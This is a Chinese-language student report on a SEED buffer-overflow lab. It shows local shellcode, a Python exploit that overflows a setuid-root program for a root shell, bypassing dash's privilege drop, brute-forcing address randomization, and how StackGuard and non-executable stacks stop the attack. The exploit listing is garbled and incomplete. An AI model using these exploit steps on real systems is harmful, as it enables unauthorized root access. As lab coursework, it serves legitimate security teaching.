# Lab2-Report

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## 关闭应对措施

## Task 1: Running Shellcode

使用 gcc -o task1 task1.c 编译程序并运行,发现系统会提示段错误

```
[09/04/20]seed@VM:~/Desktop$ gcc -o task1 task1.c
[09/04/20]seed@VM:~/Desktop$ task1
Segmentation fault
[09/04/20]seed@VM:~/Desktop$
```

使用 gcc -z execstack -o task1 task1.c 编译程序并执行,发现系统进入到了 shell 中。

```
[09/04/20]seed@VM:~/Desktop$ gcc -z execstack -o task1 task1.c
[09/04/20]seed@VM:~/Desktop$ task1
$
```

#### Task 2: Exploiting the Vulnerability

将代码复制到 stack.c 中,使用 gcc 编译,buf size 不变,使其成为 root 所属得 setuid 程序

```
[09/05/20]seed@VM:~/Desktop$ gcc -o stack -z execstack -fno-stack-p
rotector stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$
```

使用 gdb 对 stack 进行调试

```
[09/05/20]seed@VM:~/Desktop$ gcc -z execstack -fno-stack-protector
-g -o stack_dbg stack.c
[09/05/20]seed@VM:~/Desktop$ touch badfile
[09/05/20]seed@VM:~/Desktop$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
```

在函数位置确定一个断点并运行

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 17.
gdb-peda$ run
Starting program: /home/seed/Desktop/stack_dbg
```

找到 ebp 寄存器和 buffer 的值,并计算出二者之间的差值: 32

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb48
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb28
```

```
gdb-peda$ p/d 0xbfffeb48-0xbfffeb28
$4 = 32
```

因此, return address 和 buffer 起点的差值为 36, 在此基础上更改 exploit.py(这里选择了python), 更改后代码如下, 只需要更改 ret 和 offset 的值即可

```
🔊 🖨 📵 exploit.py (~/Desktop) - gedit
 Save
#!/usr/bin/python3
"\x50" # pushl %eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
 \x89\xe3" # movl %esp,%ebx
 '\x50" # pushl %eax
'\x53" # pushl %ebx
 \x89\xe1" # movl %esp,%ecx
\x99" # cdq
 /\xb0\x0b" # movb $0x0b,%al
'\xcd\x80" # int $0x80
 \x00
).encode("latin-1")
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
# Write the content to badfile
with open('badfile', 'wb') as f:
        f.write(content)
```

执行代码,运行 stack,发现获取到了 root 权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
#
#
```

```
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(su
do),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

## Task 3: Defeating dash's Countermeasure

复制代码,在注释 setuid 的条件下编译并使之成为 root 拥有的 setuid 程序,运行,发现没有提权,系统将权限降低,取消注释后再次重复编译等操作,发现成功获得 root 权限。

```
@ ● © Terminal

[09/05/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_te
st

[09/05/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test

[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test

[09/05/20]seed@VM:~/Desktop$ dash_shell_test

$ exit

[09/05/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_te
st

[09/05/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test

[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test

[09/05/20]seed@VM:~/Desktop$ dash_shell_test

[09/05/20]see
```

未更改 shellcode 之前,栈溢出攻击失败,因为系统自动判断 euid 和 ruid 不相等,进而降权,导致无法获得权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
$
```

更改 shellcode 后运行程序并进行栈溢出攻击,发现可以获取权限,是因为在调用 execve 之前 setuid 使 ruid=0 (root),使系统误判为 root 用户的使用,所以权限不会降级,获取到 root 权限

```
[09/05/20]seed@VM:~/Desktop$ python3 exploit.py
[09/05/20]seed@VM:~/Desktop$ stack
#
```

## Task 4: Defeating Address Randomization

使用 sudo /sbin/sysctl -w kernel.randomize\_va\_space=2 命令启用地址随机化,复制代码并运行,进行暴力破解来获取 shell,如下为运行成功的截图,共运行 17 万次

```
🗴 🖨 🗊 Terminal
3 minutes and 32 seconds elapsed.
The program has been running 174195 times so far.
./bf.sh: line 13: 3734 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174196 times so far.
./bf.sh: line 13: 3735 Segmentation fault
3 minutes and 32 seconds elapsed.
The program has been running 174197 times so far.
./bf.sh: line 13: 3736 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174198 times so far.
./bf.sh: line 13: 3737 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174199 times so far.
Firefox Web Browser 13: 3738 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174200 times so far.
./bf.sh: line 13: 3739 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174201 times so far.
./bf.sh: line 13: 3740 Segmentation fault
                                                 ./stack
3 minutes and 32 seconds elapsed.
The program has been running 174202 times so far.
```

#### Task 5: Turn on the StackGuard Protection

开启栈保护(去除-fno-stack-protector 自动启用)的条件下重新编译运行,会发现系统会检测到栈被破坏,程序异常退出

```
@ □ Terminal
[09/05/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_spa
ce=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~/Desktop$ sudo ln -sf /bin/zsh /bin/sh
[09/05/20]seed@VM:~/Desktop$ gcc -o stack -z execstack stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$ stack
*** stack smashing detected ***: stack terminated
Aborted
[09/05/20]seed@VM:~/Desktop$
```

#### Task 6: Turn on the Non-executable Stack Protection

启用 Non-executable Stack,编译运行程序发现出现了段错误,由于启用了栈不可执行使得 shellcode 不能在栈上运行导致失败。

```
[09/05/20]seed@VM:~/Desktop$ gcc -o stack -fno-stack-protector -z n oexecstack stack.c
[09/05/20]seed@VM:~/Desktop$ sudo chown root stack
[09/05/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/05/20]seed@VM:~/Desktop$ stack
Segmentation fault
[09/05/20]seed@VM:~/Desktop$
```